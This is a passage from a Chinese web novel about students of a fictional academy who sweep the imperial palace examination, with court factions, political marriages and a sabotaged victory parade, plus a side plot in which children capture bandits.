三个人分数咬的极紧,实际上,在判卷时,吴大人也曾犹豫了好几次,不确定要将谁放在前面,毕竟都是从一个书院里出来的,行文方式,答题风格都差距不大。唯一能拉开距离的,还是 那几篇策论,可即便如此,当时阅卷的大人们也仍旧吵了很久,有人更看好汪启元的文章,说其言辞犀利,直击要害。也有人喜爱郭胜开,说其温婉雅致,文辞赡丽。 还是他遵守本心,选择了更符合自己胃口,务实朴质的吴韧,这才彻底打破了争端。 江云希,许是心虚,只拿了第四。 而不少大人期待满满的胡丞相之子,则有些落入下风,只堪堪拿下了第五的成绩。 至于华夏书院的其他人,也皆上了榜,温辞言得了第七,常仕进不俗,成功斩获第十二名,刘卜温排名末尾,拿了第二十六。 可即便如此,耀眼的全员上榜,也仍旧彰显了华夏书院一向稳定的实力。 排名公布出来,说什么话的人都有。 有抱怨童启得到内幕,给自家学生开小课的。 也有说这样教出来,纯粹是书呆子,对俗务一概不懂的。 更有言大奉朝完了,竟然能让一个书院全员上榜,接下来,党争肯定会更加严重云云。 倒是三皇子大喜,认为自己队伍中又狠狠添了几员猛将,光是礼品,便送过来了几大箱。 童启皆收了下来,打算回去给学生们加餐用。 而想要上门拜访的帖子则直接全部拒绝在了门外,马上就要殿试了,谁还有心情去接待客人啊?有什么想说的,不如就等殿试结束后再说吧。 杨舟万帮着处理着,退的退,收的收,唯独一封,令他有些疑惑,拿不定主意。 “你说谁邀请的启元和胜开?” 童启听完,端茶的手都直接愣在了半空中。 “胡爻先胡丞相。”杨舟万重复道,摸了摸后脑勺,看向两位当事人。“他说,想邀你们一起上门聊一聊。” 聊一聊? 汪启元与郭胜开对视一眼,纷纷感觉到了这话语中的荒唐感。真是奇了怪了,他俩从未见过对方,有什么可聊的?况且这胡丞相一党可一向对他们华夏书院没什么好态度啊,那河南府的知府顾大人,便是胡丞相的弟子,又是栽赃又是陷害的,上一次还撺掇着冯御史,要让山长下台,将书院收为国有。 这才多久啊,就变了一副面孔? 难道全然忘记了以前的事情了吗? 旁边的常仕进插嘴道,“莫不是,真的想与你结亲吧?” 他嘻嘻哈哈看向郭胜开,“听闻胡丞相之女胡薇微极其喜欢你,还是你的小粉丝呢,这才来了京都几日,我已经听不少人说过了,简直就跟四公主迷恋王世昌师弟有的一拼!” 提起这个,郭胜开便一脸烦躁。 “我才不喜欢这种勋贵之女呢,嚣张跋扈,目无尊长,前几日听闻还和别家的姑娘在赏春宴上大打出手,其父、其兄、其门下弟子皆是我最厌恶的那种风气,便是胡丞相请圣上当面说亲,我也坚决不会要的。” 他从底层出来,早已受尽了上面欺凌的苦,不可能再去娶一个看起来就和自己三观完全不符合的人。 不说自己,便是他的母亲也决不会满意,这是事实。 而旁边的汪启元则陷入了深思。 胡丞相叫郭胜开过去,他能够理解,毕竟天下无不爱子女的父母,为了女儿的亲事,牺牲妥协的可能性还是非常大的,可为什么也要叫他过去呢? 他和这件事又没什么关系,况且叫了他,却又没有叫吴韧,这倒是有点意思。 在普罗大众的眼中,一般提起汪启元就会提起吴韧,他俩合力代表了华夏书院二年级的学生,即便思维逻辑与处理方式天差地别,可依旧有不少人喜欢将他们放在一起讨论。 这还是头一次,只单独叫一个人过去的。 “怎么,你们要去吗?” 童启好奇问道。 他一向不阻止学生们的社交,不论是跟哪个官员,只要能达到学生们的目的,对学生们的前途更好,那么,和谁结亲,和谁成为朋友,都是学生们自己的选择。胡丞相不一样,他一人之下,万人之上,对于参加科考的仕子们来说,无疑是最大的上司,若能相处好,自然也是一件好事。 郭胜开犹豫一下,终究还是选择了拒绝。 “我就不去了,毕竟……我实在是不想跟着胡丞相有什么交集。” 比起结党营私,他和吴韧的想法差不多,都只是想做纯臣,谁也不站,即便走的会艰难一些,也无所谓。 童启对自己的学生们十分了解,自然明白其想法,他点点头,表示充分的尊重。 扭头继续问向一旁的汪启元。 对方迟疑两秒后,回答。 “我想去看看。” 丞相府。 听闻了父亲亲自邀请了华夏书院的人,来府中相见,胡薇微听到消息,几乎是第一时间便冲一般的跑向了大堂。她满心期待,还以为是自己的婚事有望,父亲终于心软松口了,可没想到透过屏风,听到的却是管家为难的回答。 “大人,郭胜开公子偶感风寒,不能到来了,只有汪启元公子携礼拜见。” “哦?你可有见到人?对方面色如何,真的生病了吗?” 管家为难了一瞬,“这……我见其面色红润,似乎并无咳疾……” “知道了,请汪公子进来吧。” 胡丞相早知道会是这样的结果,并未为难,摆摆手,令人将汪启元请进来,不动声色的看了一眼屏风后,见到那双绣鞋,隐隐压下了唇角的笑意。 听到郭胜开没来,胡薇微只感觉如同那霜打的花,整个人都颓丧了下来。 自己被嫌弃了,虽然这是她早就料到的事情。 可听到答案的那一瞬间,仍旧不可避免的感到失望。 正犹豫着要不要转身离开,堂内,一个青衫公子缓缓走了进来。他身姿清雅,俊美无暇,俯身行礼,声音如同夏日的冰水一般,清冽动人。 “华夏书院二年级学生汪启元,见过胡丞相。” 一双脚,瞬间黏在了地上,再难以挪开。 胡丞相笑盈盈的请对方坐下,满意的打量着这周身的气质。 不得不说,华夏书院的确是会养孩子的,看看,不过一个商人之子罢了,这才几年,竟蜕变成了贵族世子一般,举手投足,都带着一股浓浓的书香气息。 倒是的确很符合他看女婿的标准。 越看越喜欢,视线也不由带了几分裸露。 下人端茶上来,递给汪启元,他接过,垂眸喝了一口,自然也见到了不远处屏风下的那双绣花鞋,心中顿时警铃大作。 真到了这个时候还不知道何意,那他这几年的书,算是白读了。 这胡丞相莫不是要跟他说亲吧?他可还没有这打算啊! 正当他脑海中正疯狂思索着要如何拒绝时,突然,却听到对面的胡丞相开口问道。 “汪启元,你认为你们华夏书院能存在多久?” 他凌厉的双眸瞬间抬起,看向对面的人。 胡丞相将旁边残留的棋盘一一捡回了棋盒中,就如同在随手谈论今日的天气一般。 “四大书院的学生你们应该已经见过了?可知他们为何处处针对你们?枪打出头鸟,木秀于林,风必摧之,你以为权贵们能容忍华夏书院一家独大吗?有着三年将一群学生送入朝堂的本领,这是好事,还是坏事呢?” “别急着否定我,童启不想死,就迟早会有妥协当官的一日,这是我们都知道的事。而你们进入朝堂,也早晚需要站位,不是大皇子,就是三皇子,想当纯臣?也可以,但你觉得,会有多少人能容忍你们永远不归属任何一方,却十分团结呢?一年可以,两年,三年,你信不信,不超过三年,就连皇帝陛下也会忌惮你们的势力。” 这也是为什么童启迟迟不入朝,不考功名的原因。 因为若他也入朝,只手底下的学生们便是一股强大的力量,无法控制,不归属于皇帝,也不归属于臣子。 任谁,也不可能长期忍受。 可不入朝就行了吗? 四大书院与权贵们更不会善罢甘休,看着他往朝堂里送人的。 所以,到底是保童启,还是保书院呢? 迟早要面临二选一。 汪启元沉默了一瞬,他当然知道这件事,所以他也一直在为此而做准备,而与吴韧完全不一样的行事作风,完全不一样的路径,也是他交出的答案之一。 谁说一个书院毕业的风格就都是一致了? 他会用行动让其他人将疑心埋在肚子里。 尽量为山长拖延时间。 胡丞相看着汪启元一脸的疏离之色,忍不住笑出了声来,“我知道你在想什么,你觉得未来和其他的同窗不会走同一条路,所以不可能会引起大家的忌惮,对吗?但你忘了,这世代,站位并不只是看态度,更多的,还是看利益身份。” 胡丞相将其会试的卷子递了过来,十分满意道。 “说实 话,我很欣赏你的策论,有我喜欢的那种风格,你不属于纯臣,你天生就该是留在朝堂上斗狠的。归属于华夏书院,实在是屈才了,三皇子难以扶持你的抱负,倒不如……归我一派。” 真正的目的终于露出了尾声。 汪启元冷静的抬起眸,反问道,“怎么归?” “你有妻室吗?” 突然的询问,令汪启元措手不及,他愣了一下,答道。 “没有。” “那你看我家的女儿如何?” 胡丞相掏出棋子,率先在干净的棋盘上,送出了一子。 汪启元整个僵硬在了原地,久久没有说话。 第98章 第98章(二合一)打马游街 从丞相府出来后,汪启元和童启两个人单独聊了很久。 谁也不知道他们到底说了什么。 第二日,汪启元便从杨舟万准备的府邸中搬了出去,以一副极其割裂的姿态。 杨舟万不明所以,茫然看向自家山长,道,“他这是何意?我哪里做错了吗?” 怎么就突然你是你,我是我了?活像是避之不及一般? 童启看着对方独自一个人走出大门的背影,叹道,“你没错,只是每个人的路不同,他注定只能陪我们走这么一段了,剩下的,只能自己去闯。舟万,你记住一句话,凡事论心不论迹,不管发生什么,莫要忘了以往同窗的情分即可。” 几位学生不明所以,可很快的,他们便懂得了这句话的含义。 因为,胡丞相将自己的独女胡薇微嫁给了汪启元。 这则消息,可以说像一枚炮弹般瞬间引燃了整个京都! 远比会试结束,大家看到头三名皆是华夏书院的学生所带来的冲击感还要大! “什么情况?我没听错吧?那汪启元不是华夏书院的吗?怎么突然背叛师门了?” “就是啊,胡丞相可是大皇子一党的领袖!而华夏书院一早就偏向了三皇子一派,天哪,这可算是热闹起来了。” “看不懂,实在是看不懂,那丞相千金不是喜欢郭胜开吗?” “荒谬,父母之命媒妁之言,哪里有什么喜欢不喜欢?” “不过这汪启元可真是厉害啊,一个商人之子,竟然娶了丞相千金,以后前途不可限量啊!” …… 几乎四门八巷,都在讨论这个事情。 就连各大小报都连登了半个月,抨击汪启元的“不孝不仁”,说他“只重利益,无视师门”。 谁也没料到,好端端的,竟还会有这么横叉一脚的可能,到了嘴的人才,还有飞走的一天! 三皇子知道后,第一时间便怒气冲冲的找上门来,质问童启,道。 “童山长这是什么意思?难不成是耍我吗?那汪启元何意,难道不满我一派,想做下一个李商隐不成?” 童启一边将三皇子拉坐下来,一边令人关上了门,小声安抚道。 “三殿下莫急,这事,我也是刚刚收到的消息。您知道的,我一向是偏向您,要不然,也不可能将杨舟万送到您旗下不是?” 三皇子不情不愿的被哄坐下来,静静听着童启的解释。 他倒了杯茶,温柔的奉上,苦笑道。 “不瞒您所说,我虽是一院之长,可也有自己的难处,不可能做到让每个学生都听从我的想法。就如同那传言所说的一样,一个书院,孩子多了,什么样的都有,有乖巧的,自然也有叛逆的。学生们自觉有了好去处,难免不会心动。如今离殿试只有一步之遥,我也没有什么辖制的办法,又不像令狐绹那样位高权重,如何去阻拦他们的意见呢?” 人家李商隐的师父,官可比李商隐要大的多。 他却只是一个小小的秀才,靠什么去威慑朝廷命官? 虚无缥缈的师生情谊吗? 这玩意儿全凭良心,人家认就有,不认,就无,你能怎样? 然而,道理是这个道理,可三皇子却不相信。 他用眼横斜着,疑道。 “你会撼动不了你自己门下的学生?难不成他整个师门都不认了?一门心思要投奔胡丞相?” 童启耸了耸肩,将一篇文章拿了出来,递给三皇子。 “这是我正打算发布到大奉朝报上的内容,要不,您帮着看看,措辞如何?” 三皇子半信半疑接过,只见那文章上明确写出了【华夏书院毕业的学生,一经毕业,再不属于华夏书院管辖,个人行为,请勿上升至群体意见】。 白纸黑字,条理分明。 割席的明明白白。 他发热的脑袋这才稍稍冷静了一些。 这个时代,能写出这样的话,基本上就算是撕破脸了,连书院都不承认的文人,那以后还算什么文人?任谁,都可以嘲笑讽刺,不忠不孝。这就相当于个人履历上有了一个巨大的污点,永远也难以摆脱,简直比斥责还要严重。 看来,这事,童启确实不知。 不然也不会这么激愤。 “那其他学生呢,什么想法?可不能再往别的地方走了。” 三皇子连忙问道。 他一双眼紧紧盯紧了郭胜开、吴韧等人,就像是守住自己的宝贝一般,难以失去。 好不容易盼到的人才,若最终都是为了他人而养了一场,那就真的要气吐血了。 本身他这边就没多少文人来着的! 童启无奈的笑了笑,半个身子挡住自己的学生们,脸上笑容温婉贴心,“您放心,我已经问过他们的想法了,明面上嘛,他们都属于皇上的人,可内里嘛,您知道的,一向是咱们自家人才是一派。” 有了这准话,三皇子总算放下了心来。 对于汪启元的离开,也不再执着了,可或许杯弓蛇影,被搞出了心理阴影,他对于其他华夏书院未成形的学子们,也越发上了点心,离开时,百般暗示道。 “今年你们书院新一届的二年级学生也要开始参加县试、府试了对吧?有什么人才不想走科举的,也都可以送到我这里来嘛,我不挑!你懂得,大路千万条,没必要死死咬着那一条,你看,杨舟万来我这里之后,不是也混的很好吗?” 虽然他在对方上了一整年的班之后,才发现调错了岗位…… 可那也不影响,对方照样升迁不是?瞅瞅,如今都到了从六品的位置了!很厉害嘛! 童启点头称是。 他带着学生们恭敬的将三皇子送离,看着他离开后,独自一人在门口处站了许久,这才转身回去。 刚走入大厅,便见到所有人站在廊下,担忧的看着他。 “山长……” 吴韧等人欲言又止,满是心疼。 童启摆了摆手,没有解释什么,一股无形的默契充斥在几人之中,不说便知晓其中有多少的无可奈何。 树大招风。 他至今仍记得暗室里汪启元那双倔强的双眸,如一团火焰般熊熊燃烧着。 “山长,三皇子并非贤皇。你我都清楚,支持他,不过是当初书院需要一个庇护的理由罢了。而今,我 们没有必要死守着一个人,成为无数阶层眼中的异类。我可以做那第一把背叛的刀,帮书院脱离站位之争。也请您,尊重我的选择。” “你想好了?不会后悔?这可相当于拿你的亲事做赌注啊?”童启问道。 汪启元停顿一秒,语气坚定。 “不会。只是委屈山长,陪我演一场了。” 童启沉默良久,道。 “好。” 你无法去阻止一个学生的选择,更无法去评判到底哪一条路才是对的。 正确与错误,终究只能学生自己去尝试。 而汪启元一如当初他所看到的那个年纪轻轻就敢把所有家产献给知府的孩子一般,如今,也毅然决然成为了第一个脱离书院立场,正式以个人姿态,投入到官场之中的人。 他,正式毕业了。 童启将那封声明书按照约定发布到大奉朝报纸上,各阶层人士看到后,心思不明。 有骂汪启元背叛师门的;也有为童启和三皇子抱不平的;更有嘲讽胡丞相眼光低微,竟然连一届商人之子也能看上,如何如何的。 可更多的,还是一部分原本以为华夏书院出来的学生铁定归属于三皇子,无可撼动的官员们。 他们蠢蠢欲动。 仿佛开了个什么口子,首先遭到变化的,便是源源不断突然暴增的媒婆们。 实际上,从乡试结束后,就有不少人打算跟华夏书院的学子们商讨婚事了。 毕竟他们有才有貌,又年轻气盛,看起来就是个前途无量的! 可大部分学生们都抱着先立业、再成家的想法。 一心只有科举。 任由媒婆们说破了嘴皮子,都无人松口,于是便渐渐无人提及了。 可谁能想到,因着胡丞相与汪启元的突然联姻,这事竟又被翻了上来,而首当其冲遭到围攻的,便是刘卜温、郭胜开等人。 温叶辞、吴韧早已经定了亲,至于童启嘛,因着他辈分太高,几乎不在众人的考虑中。 ——毕竟有好多人至今还以为童山长是个白发苍苍的老道士。 一连几日,常仕进等人连大门都不敢出,倒是完全静下了心,复习起课本来。 转眼半月过去,殿试,也终于姗姗来迟。 随着清脆的钟声响彻京都,大监高喊着“考生入殿”,整个京城内外,一片肃穆。 此次监考殿试的官员,有着上一次的翰林院院首吴大人,还有着户部尚书徐开明、吏部侍郎冯岸、给事中刘大人,以及两名知杂御史等,一共数十名官员。皇帝一般很少亲自出席这种场合,只虚设御座,来表示亲临。 应考的学生此次一共有三百五十八人。 按照会试的名次从高至低排序座位,吴韧、汪启元等都位于第一排。 自然受到了不少官员的注视。 尤其是汪启元,这些日子以来,关于他背叛师门的言论简直甚嚣尘上,可大家观其神色,却毫无波动,仿佛与自己无关一般。 倒是十分的定力十足。 卷子发下来,只有两道题目,一道是诗赋,另一道则是策论。 皆是皇上亲自出的题目。 诗赋是以《治国之道》为题,作五言律诗一首。 尚不算太刁钻,基本上书院里的押题都曾有过这个类型。 而策论则有些刻薄了,乃是【边疆之患,何以解之?】 短短八个字,既要了解如今边疆的局势变化,又要结合具体情况提出有效的解决方案,还得逻辑分明,猜测皇帝心中的真实想法,不可谓不难。 内阁的不少大臣听说了这个题目后,皆有些沉默。 他们明白,皇上这是为了黄龙府的事情在忧心,病急乱投医了,可也对传闻中的华夏书院学生们的回答有些好奇。 殿内。 龙涎香静静的燃烧着,整个宫殿里只余磨墨之声,不少学生们悄然打量着吴韧的动作,见他久久没有提笔,不由松了一口气。 看来,会元也觉得棘手,那证明不是他们的问题。 的确是这题目有些太难了。 然而不等他们庆幸,吴韧旁边的汪启元,却率先答了起来。 他个性分明,从不认为边疆之患,乃是一夕之错误,而是长期冗官冗兵、军备废弛的结果,想起谢君仪等人在环县时统计的驻军人数,与实际上的驻军人数,他落笔飞快,仿佛一腔愤怒皆发泄到了这张纸上,字字力透纸背。 他先是抨击了一遍朝廷内政策的失误,不应该长期对契丹、西夏等采取姑息养奸的政策,导致他们屡屡犯边,再就是为边疆官员虚报军功、克扣军饷等问题做出评判,正是他们才导致了冗兵冗费的增加,要想改善,只能进行军部内的改革,严惩贪官污吏,削减裁撤不必要的开支,以战止战,对奋勇杀敌的边疆官兵给与重赏…… 一条条,一件件。 汪启元越写越顺手,而其卷子上的内容也越发惊人。 吴大人巡视过程中瞥了一眼,整颗心都快要跳了出来,他望望左右,见无人关注,不由悄然走上前,细细看了起来。 汪启元也不理会,只一味的低头写自己的,半点没有受到干扰。 而吴韧的性格,则相比于汪启元要柔和许多。 他同样认为边疆之患在于许多的政策失误,可他却并没有那么极端狠厉,而是建议圣上加强监督与治理,设置专门的监察机构,来确保边疆官员们的廉洁高效。大力发展屯田制,鼓励百姓开荒、解决粮食生计问题,对部分游牧民族采取怀柔政策,通过互市贸易、和亲等方式,化解矛盾,减少冲突,增加理解,渐进式裁撤冗官,选拔有才能、担当的武将担任要职等。 两个人一个柔,一个硬。 很难评判到底孰优孰劣,可是却都直指一个目的——军队改革。 这是非常大胆的提议,足以撼动如今的武将格局。 简单的午食之后,众考生交卷,静等成绩。 吴大人带着一众阅卷官评判,区分排序,正商讨着,外面瞬间跪了一地。 “皇上驾到!” 高昂的喊声,令大家手忙脚乱,连忙叩见。 “众爱卿不必多礼,平身吧。” 谁也没想到皇帝竟然会亲至,好不容易排好的卷子送到对方手中,他边看边问道。 “今年,可有什么贤才啊?” 吴大人将头几名的试卷一一指出,恭敬回答,“这几位皆答得不错,胸有丘壑,很多想法,都具有实地可行性。” 皇上点点头,认真看了过去,脸上的表情晦涩难懂,良久,才将那些卷子放下,问道。 “这便是最后的排序了?” “正是。” 几位大人回答道。 也不知道皇帝是对这排名满意还是不满意,正揣摩着,便听到对方似随口说道。 “听闻吴韧已经有了五次头名,若加上这一次,便是六元及第……” 旁边的户部尚书悄然抬起头,试探道,“那……要凑这么一个整吗?” 整个屋子里静悄悄,只余呼吸声,皇帝摩挲着腰间的串珠,良久,才答道。 “罢了。就这样吧。” 说完,他直接起身离开了卷房。 几个大臣你看我我看你,皆不知何意。 所有进士考生齐齐跪在大殿之外,传胪仪式正式开启。 徐常侍站在殿门口,高声宣读道。 “传胪!第一甲第一名,汪启元,河南府伊川县人;第一甲第二名,吴韧,河南府伊川县人;第一甲第三名,郭胜开,河南府伊川县人!” 连着三位河南府伊川县的学子上榜,曾任过河南府知府的官员们,皆昂首挺胸,面上有光。 而跪拜着的一连串学子们,则各个难掩惊讶。 一甲第一是汪启元? 怎么可能? 吴韧可已经是连胜五元了!就算为了六元及第的吉兆,皇上也应该钦定才对啊?怎么会放任他拿第二? 有那出身较为优秀的,已经猜测出了其中隐情,暗暗与旁边之人低声说道。 “这便是有个好 岳丈的好处了。你们难道不知?那户部尚书与翰林院的吴大人可都是大皇子一党……” 未尽之言,瞬间令不少人恍然大悟。 对吴韧也顿时同情了许多。 排名二甲第七的胡宣早已经悄然握紧了拳头,心中忧愤。 听到这番议论后,更是直接恨上了胡丞相与汪启元本人。 要不是他们,自己也不至于落得如此,肯为一个未过门的女婿如此走动,却不肯让他名次往前排一些,名正言顺,什么继子,分明就是把他当猴子耍才是! 所有被提到的考生,一一上前谢恩,比起其他人的愤愤不平,吴韧倒是一脸淡然,全无第一名被打断的不甘心。 城外皇榜随着宫内的宣读,而被张贴出去,不少人聚在宫门口仰头看着。 杨舟万携着小厮挤在人群里,当看到前几个名字后,顿时激动的双颊泛红,大声喊道。 “山长,山长!中了,前一甲都是咱们的人!” 这声喊话,顿时引起不少人的侧目。 拉仇恨的程度,无异于故意当着乞丐的面踩踏新鲜的饭菜一般! 童启立马带着继本叔捂脸躲到一边,等人散的差不多了,才上前去看具体的排名。 一甲第一汪启元,第二吴韧,第三郭胜开。 嗯,虽然有点意外,但也正常。 倒是被大多数人所忽视的常仕进等人,却进步的非常厉害。 一个拿了二甲第二,一个拿了二甲第六,另一个则直接拿了二甲第十三! 相当不俗的成绩! 皆成功跻身于进士位列之中,免受了择官等候的苦楚! 看完成绩,童启心满意足,也不再久等,给杨舟万递了个口信之后,便回去收拾东西,打算回书院。 他已经离开了书院两月有余,再不回去,只怕赵天阙都快要哭瞎了! 况且今年伊川县的县试也同样是在三月份,柏老、曹老等人也不知道能不能忙得过来,他回去后还得去操持学生们的府试考试,一大堆的事情,哪里有空多待? 至于那击退契丹的随机任务?他并没有接下。 毕竟他只是个文人,手无缚鸡之力,又不是什么军师武将,还是不去添乱的为好。 他一心急着往回赶,可不知道的是,实际上的赵天阙早就不在华夏书院里了。 正好谢君仪等人要考县试,无空管她,趁着半夜,赵天阙直接将小包袱一卷,抱着李元昊的脖子,两个人便偷偷摸摸的翻过了墙去。 哦,借用的还是藏书阁那道墙。 不怪学生们喜欢这里,实在是这堵墙太好翻了,又平整,又少人,只要电闸门一关,内外皆无巡视,简直完美的犯罪地点嘛! 一路出了伊川县,本打算往北走,没想到却遇到了折继世。 对方似乎在城门口等了许久,见到他俩,一副总算逮住了的表情,冷冷道。 “我知道你们要去京城找山长,可北边如今匪徒肆虐,不安全,有我在,可以保护你们。” 李元昊脑袋一扬,抱紧了怀中的赵天阙,冷哼一声。 “哼,你看不起谁?我现在也很厉害的好吗?寻常匪徒,根本不是我的对手!” 折继世不语,只看向赵天阙本人。 对方咬着手指头思索了一会儿,奶声奶气道,“走!安全,山长!” 这便是让他跟着一起的意思了。 李元昊不服的撇撇嘴,但也没有再说什么,三个人正式往北而行,走到分叉口,李元昊和赵天阙齐齐看向折继世的方向。 折继世:??? “别看我俩,我可是西夏人,怎么可能认得路?小师妹就更别提了,她今年才一岁呢,头一次出门。” 李元昊理直气壮道。 折继世:…… 他看了一会儿风向,又看了看日落的位置,直接伸出手,指了东边那条路。 “走这里吧,估摸着是前往京城的官道。” 一个敢说,另两个便敢信。 于是,三个人一脸无畏的朝着汝阳县而去。 越走越南,竟直接到了襄州。 因着水患、粮灾,如今襄州附近正在闹民变,不少百姓都落草为寇,成为了山匪,沿路打家劫舍,见到他们三个可不就如同看到了走入狼群的小羊崽子吗? 直接就提着刀剑走了下来。 “呔!哪里来的小鳖孙,也敢到爷爷的地盘上来撒野,把所有值钱的东西和吃食留下来,不然的话,小心我让你们脑袋分家!” 领头的匪徒蒙着脸,满是凶狠。 折继世直接掏出怀中的匕首,直冲而去,这是山长曾经送给他的,让他在必要之时务必保住赵天阙的性命。 也是造成此番他特意送行真正的原因。 赵天阙坐在李元昊的怀里,愤怒的摆着小手,“敢?全部!活捉!让他们……交出来!” 李元昊大声的翻译道,“折继世!小师妹说了,他们敢打劫咱们,一个都不要放过,全部活捉!让他们把值钱的东西统统交出来!弥补咱们受到惊吓的损失!” 折继世脚下一滑,一向冷漠的脸上瞬间皲裂了几分,很快又调整过来,按照要求,一一活捉匪徒,将他们全部绑了起来。 没想到三个小娃娃武力值竟然会这么高,领头的匪徒顿时颤颤巍巍交代了他们的老巢地点。 三人也不惧怕,一番策划,便直接攻上了此处的匪盗窝,把所有人都给活捉了个干净。 赵天阙掐着腰,倒腾着小短腿巡视这家山寨,见到里面没有什么死人,只一些良民、妇女,还都是这些匪盗自己带上来的,便知道应该是没有杀过人,做过真正的大恶。 领头的跪在地上,痛哭流涕,道。 “我们也不想的啊,实在是被逼的没有办法了,你们若想要银子,这些都给你,我们也是从其他商人那里抢的!别杀我们,求求你们别杀我们!” 折继世:…… 到底谁是匪徒,谁是良民啊? 赵天阙坐在椅子上,思考了一会儿,招招手,附在李元昊耳边婴言婴语的说了一通,对方点点头,也不知理解对了没,冲着折继世道。 “这些人不用杀,把他们统统关起来干活赎罪,至于银两则全部充公,派一个有家小的,去隔壁县城买粮食,若不回来,就把他家里人全杀了!对了,顺便问问这附近除了他们这些山寨,还有别的没,咱们顺手都给解决了,免得山长回来后,遇到危险!” 一听这话,整个山寨的人忙磕头谢恩,自认逃过一劫。 也不询问他们口中的山长是何人,就将附近的山寨统统交代了出来。 尤其是那杀过人的,更是重点提醒,道。 “你们可千万要小心,那些人可都是刀尖上滚过的,最是残忍可怕,无恶不作,不仅杀人抢劫,还奸&辱妇女,若碰上你们这些长得漂亮的小孩子,更是不会放过……” 大家七嘴八舌控诉着,如同见到了什么青天大老爷一般,李元昊等人自幼在书院里,哪里听过这些个污糟事?越听便越是火大,当即便要第二日出发,前去缴匪! 赵天阙一把拦了下来,从包袱里掏啊掏,掏出一张方子来,递给了折继世。 唔啊唔的说了一连串,不断的指着山寨外,同样的义愤填膺状。 李元昊帮忙解释,“小师妹是说,这个是她从山长那里拿到的,山长说是顶级绝密,可以砰的一下,直接炸开,把一个山都夷为平地!嗯?夷为平地?真的假的?你们大奉朝还有这玩意儿呢?” 他吓了一跳,忙伸脑袋去瞧,被折继世一把夺了过来,越看越心惊。 折家在府谷可是将门世家,什么武器不知晓。 可这张方子……这张方子。 乃是能撼动整个时代格局的东西啊! 且不说华夏书院的人发现三个小娃娃失踪后,有多么的惊慌,刚考完县试便得知这个消息的谢君仪,又有多无助。 只说殿试结束,琼林宴上。 皇帝满 意的看着汪启元三个贤才,询问他们的家世,见其清一色的年轻样貌,非常养眼,不由动了赐婚的心思。 “朕听闻你们一个个似乎还未成亲,是没有遇到合适的人吗?既如此,不如就由我来给你们做一回月老,连一连红线如何?” 所有人瞬间精神一凛。 吴韧忙道,“臣已经定亲了。” 汪启元同样说道,“臣也是。” 一甲三人,顿时只剩一位。 郭胜开瞪大了眼,看看左边,又看看右边,深深感觉到了一股无助。 皇帝笑了笑,道,“既如此,那看来就只有郭爱卿有这个福分了。冯爱卿,我记得你家的女儿似乎还没说定?你看看,咱们家的新探花如何?” 没有想到这么一个天降大礼包,竟然会落到自己的头上,吏部侍郎冯岸顿时一愣,当即大喜,噗通一声便跪下谢恩。 自他女儿没有选上六皇子妃,从宫中受选出来后,便深受各方的议论。 连说亲的人都少了许多。 虽然冯岸本身就不愿让自家女儿进宫,但皇室如此挑拣,凉薄的态度也不免让他心里不平。 这下好了,探花郎给他家作姑爷,还是皇上亲自说的亲! 什么峰回路转啊? 冯岸咧着嘴,牙都快合不拢了,越看是越满意,刚散了宴席,便一口一个“贤婿”的叫起来。 看的旁边的同僚们又羡又嫉。 郭胜开虽不想包办婚姻,但皇帝陛下开了口,户部侍郎风评又没什么可挑的,其女儿温婉懂礼,整个京都都知晓,还差一点就入选了皇妃,怎么看也怎么算得上是他高攀了! 于是,只得跟着叩拜谢恩。 簪了花,吃过宴,穿上官服,便是打马游街。 有诗人曾云,“春风得意马蹄疾,一日看尽长安花。” 说的便是这种盛况! 几乎半个京都的人都出来围在了那几条街道上,挤得左右水泄不通,只能禁卫军开道,才勉强行走通畅。 路两旁的酒楼包厢更是被所有的千金、公子所包揽了下来,大兜小兜的香囊、花朵被小孩子沿街兜售着,很快便抢售一空。 数十年寒窗,似乎就为了这一刻的荣耀。 王绾儿、胡薇微,刚收到消息有了未婚夫的冯楚陌等,都托腮的等在窗前,等待着自家夫君的经过。 冯楚陌提裙而上,见到胡薇微也在二楼,表情瞬间有些尴尬。 毕竟整个京都都知晓,胡薇微有多喜欢郭胜开,可谁能想到,时也命也,最后竟然是她嫁给了郭胜开,而胡薇微,则与状元汪启元结为了一对? 其余的千金小姐们也暗暗用眼神打量着两个人,不知是在期待什么。 可胡薇微却像是毫不在意一般,只见到冯楚陌后,点了点头,便将视线又投到了街道内。 皇宫门口,小太监迁来马匹,贴心问道。 “状元郎可用牵绳?” 汪启元摆摆手谢过,“不必。” 他掀衣上马,动作潇洒而顺畅,看的身后的进士们一脸惊讶。 谁也不知道汪启元为了这一刻,准备了多久。 而一个小小县城的商人之子,走到今天,又付出了多少辛劳。 除了汪启元,吴韧和郭胜开皆需要太监牵马扶持,而其他的进士们,则皆是走路在后随行。 胡宣排在二甲队伍里,远远看着马上得意非常的三个人,眼中狠毒,冲着前方领头的一名小太监,悄然点了点头。 “来了!状元来了!” 随着不知谁的一声惊呼,所有酒楼的窗皆被大大的打开来,两侧的行人高喊欢呼着,密密麻麻的香囊、花朵朝着领头的三个人砸去。 吴韧等人狼狈的躲避着,几乎被遮挡住了所有的视线。 一众人大声夸赞道。 “嘿,今年的一甲都很俊呢,皆是少年郎!也不知谁有这么好的福气?” “娘亲!我以后也要嫁给状元郎!” “美得你!” …… 笑闹声嘈杂而热闹,几人缓缓骑行到酒楼下,一个带着特殊标记的香囊被正正好扔到了吴韧的怀中。 那图案,正是他当时送给未婚妻的徽章图样。 他愣了一下,仰起头,见到王绾儿羞怯的表情,不由的绽放出一个大大的笑容来,冲着那个窗口挥了挥手。 果然,得到了阵阵艳羡的惊呼声。 胡薇微有样学样,也拿着一个香囊准备扔,本是朝着汪启元的方向,可谁料一歪,却滑入了郭胜开的手里。 郭胜开仰头愣了一下,尴尬的将那香囊丢给前方的汪启元。 包厢内,瞬间静谧无声,大家看了看冯楚陌,又看了看胡薇微,不晓得对方是故意的,还是无意的。 汪启元也不失望,看了两眼,便平静的塞入了袖子里,继续往前行。 一个小太监趁乱走过,突然,汪启元□□的马嘶鸣一声,高高跃起。 骤然发起了疯来。 四处的禁卫军吓了一跳,忙护着人群百姓往后退,而汪启元则是死死拉着缰绳,想要将马匹控制住。 可马已经受了刺激,完全停不下来。 眼瞅着一个小姑娘站在路旁被吓傻了,一动不动,而那马蹄却高高扬起朝着对方踢去,汪启元当即俯身抽过旁边禁卫军的刀,直接将马头砍了下来,翻身在地上滚了一圈。 浓烈的鲜血,染红了这场游街之旅。 小姑娘的命被保住了,而汪启元则因为砍下马头,无视圣恩,被斥责。 胳膊也因此受了伤,磨掉了一大片皮肤。 酒楼上,胡薇微看着汪启元从地上爬起,脸颊带血,手中拿刀的模样,震撼无比。 一颗心,也陡然剧烈的跳动起来。 